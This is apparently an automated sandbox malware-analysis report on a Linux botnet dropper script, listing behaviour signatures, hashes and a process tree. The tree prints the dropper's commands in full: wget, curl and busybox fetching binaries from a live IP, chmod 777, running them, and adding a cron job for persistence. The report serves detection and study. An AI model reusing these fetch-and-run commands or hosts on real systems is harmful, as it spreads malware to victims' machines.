Analysis

  • max time kernel
    149s
  • max time network
    186s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    15/11/2024, 04:38

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241115-e9dh7syhlr
  • SHA256 66d062c3c56d25200e9ec65a67063376df6a2d5b1a658cfc8d121c9034847e41
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (2087) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 5 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:655
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:657
        • /usr/bin/wget
          wget http://87.120.125.191/bins/hJacOX0JDY6JLwyURGHzxPUklQMfel7nND
          2⤵
          • Writes file to tmp directory
          PID:659
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/hJacOX0JDY6JLwyURGHzxPUklQMfel7nND
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:677
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/hJacOX0JDY6JLwyURGHzxPUklQMfel7nND
          2⤵
          • Writes file to tmp directory
          PID:686
        • /bin/chmod
          chmod 777 hJacOX0JDY6JLwyURGHzxPUklQMfel7nND
          2⤵
          • File and Directory Permissions Modification
          PID:687
        • /tmp/hJacOX0JDY6JLwyURGHzxPUklQMfel7nND
          ./hJacOX0JDY6JLwyURGHzxPUklQMfel7nND
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:688
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:690
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:691
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:692
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:693
              • /bin/rm
                rm hJacOX0JDY6JLwyURGHzxPUklQMfel7nND
                2⤵
                  PID:699
                • /usr/bin/wget
                  wget http://87.120.125.191/bins/noh6gfPdweG0rYAYPYkKogwaWpt17SCXQY
                  2⤵
                  • Writes file to tmp directory
                  PID:703
                • /usr/bin/curl
                  curl -O http://87.120.125.191/bins/noh6gfPdweG0rYAYPYkKogwaWpt17SCXQY
                  2⤵
                  • Checks CPU configuration
                  PID:763
                • /bin/busybox
                  /bin/busybox wget http://87.120.125.191/bins/noh6gfPdweG0rYAYPYkKogwaWpt17SCXQY
                  2⤵
                  • Writes file to tmp directory
                  PID:788
                • /bin/chmod
                  chmod 777 noh6gfPdweG0rYAYPYkKogwaWpt17SCXQY
                  2⤵
                  • File and Directory Permissions Modification
                  PID:791
                • /tmp/noh6gfPdweG0rYAYPYkKogwaWpt17SCXQY
                  ./noh6gfPdweG0rYAYPYkKogwaWpt17SCXQY
                  2⤵
                  • Executes dropped EXE
                  PID:793
                • /bin/rm
                  rm noh6gfPdweG0rYAYPYkKogwaWpt17SCXQY
                  2⤵
                    PID:800
                  • /usr/bin/wget
                    wget http://87.120.125.191/bins/BcF9ZLFW0C7jNoCdv2FYW3VzA2vt9G8wCY
                    2⤵
                      PID:802
                    • /usr/bin/curl
                      curl -O http://87.120.125.191/bins/BcF9ZLFW0C7jNoCdv2FYW3VzA2vt9G8wCY
                      2⤵
                      • Checks CPU configuration
                      PID:806

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

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                        Downloads

                        hJacOX0JDY6JLwyURGHzxPUklQMfel7nND

                        • Path /tmp/hJacOX0JDY6JLwyURGHzxPUklQMfel7nND
                        • Size 177KB
                        • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                        • MD5 SHA1 SHA512 SSDEEP

                        tmp.dICLhq

                        • Path /var/spool/cron/crontabs/tmp.dICLhq
                        • Size 210B
                        • SHA256 ce6874d08c6ab22cdcfbc70dda53be0f739e37a4b799b586e07e9eacb199bb51
                        • MD5 SHA1 SHA512